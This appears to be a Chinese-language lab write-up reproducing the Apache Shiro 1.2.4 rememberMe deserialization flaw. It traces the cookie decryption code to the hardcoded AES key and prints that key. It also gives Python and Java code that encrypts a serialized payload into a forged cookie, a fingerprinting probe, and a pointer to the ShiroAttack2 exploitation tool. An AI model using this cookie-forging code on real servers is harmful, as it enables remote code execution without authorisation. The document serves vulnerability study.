环境搭建 Apache-Shiro 1.2.4: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
参考 Y4er: https://y4er.com/posts/shiro-rememberme-rce/#%E5%A4%8D%E7%8E%B0 (Windows)
Shiro -1.2.4 - sample - web environment for Mac:
1、首先确认 ~/.m2/toolchains.xml存在 - ls -l ~/.m2/toolchains.xml
:
不存在则 touch ~/.m2/toolchains.xml
,存在则 nano ~/.m2/toolchains.xml
编辑即可。
2、~/.m2/toolchains.xml (版本和 jdk信息和 pom.xml一致即可):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version="1.0" encoding="UTF-8" ?> <toolchains xmlns ="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd" > <toolchain > <type > jdk</type > <provides > <version > 1.8</version > <vendor > sun</vendor > </provides > <configuration > <jdkHome > /Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home</jdkHome > </configuration > </toolchain > </toolchains >
3、根目录 mvn clean package
构建工件 war包,Tomcat部署启动:
漏洞分析 加解密流程
1 2 3 4 5 6 7 8 身份信息 序列化 AES加密 (使用硬编码) Base64加密 rememberMe=value value Base64解码 value Base64解码 反序列化 - 反序列化漏洞
1、CookieRememberMeManager.getRememberedSerializedIdentity从 Cookie中读数据并使用 Base64解密:
2、查找 CookieRememberMeManager.getRememberedSerializedIdentity用法,在AbstractRememberMeManager.getRememberedPrincipals被调用,向下跟进 convertBytesToPrincipals:
AES解密后进行反序列化,跟进 decrypt:
使用 getDecryptionCipherKey()获取 AES_KEY:
向上跟进最后可知 AES_KEY为硬编码密钥,可以进行数据伪造:
加密exp python 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import uuidfrom Cryptodome.Cipher import CASTfrom Cryptodome.Cipher import AESfrom Cryptodome.Random import get_random_bytesfrom Cryptodome.Util.Padding import padfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import paddingimport base64def encrypt (serialized, key ): if len (key) not in [16 , 24 , 32 ]: raise ValueError("Key must be 16, 24, or 32 bytes long" ) iv = get_random_bytes(16 ) cipher = AES.new(key, AES.MODE_CBC, iv) pad_length = 16 - len (serialized) % 16 padded_data = serialized + bytes ([pad_length]) * pad_length encrypted = cipher.encrypt(padded_data) output = iv + encrypted return base64.b64encode(output).decode('utf-8' ) with open ('/Users/gehansheng/Desktop/Java代码审计/shiro/shiro-shiro-root-1.2.4/samples/web/src/test/java/org/apache/shiro/test/ser.txt' , 'rb' ) as file: file_data = file.read() key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==' ) encrypted_data = encrypt(file_data, key) print (f"Encrypted Data: {encrypted_data} " )
Java 参考 ShiroAttack2 - Encrypt.java
https://github.com/SummerSec/ShiroAttack2/blob/master/src/main/java/com/summersec/attack/Encrypt/Encrypt.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.summersec.attack.Encrypt;import sun.misc.BASE64Encoder;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.SecureRandom;public class Encrypt { public static String encrypt (byte [] serialized, byte [] key) throws Exception { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding" ); int sizeInBytes = 16 ; byte [] iv = new byte [sizeInBytes]; SecureRandom random = new SecureRandom (); random.nextBytes(iv); SecretKeySpec skeySpec = new SecretKeySpec (key, "AES" ); IvParameterSpec ivSpec = new IvParameterSpec (iv); cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivSpec); byte [] encrypted = cipher.doFinal(serialized); byte [] output; output = new byte [iv.length + encrypted.length]; System.arraycopy(iv, 0 , output, 0 , iv.length); System.arraycopy(encrypted, 0 , output, iv.length, encrypted.length); return (new BASE64Encoder ().encode(output)).replaceAll("\r\n" ,"" ); } }
漏洞利用 1、特征判断:请求包 Cookie构造 rememberMe=123; -> 响应 rememberMe=deleteMe
自动化利用工具 ShiroAttack2 (https://github.com/SummerSec/ShiroAttack2/releases )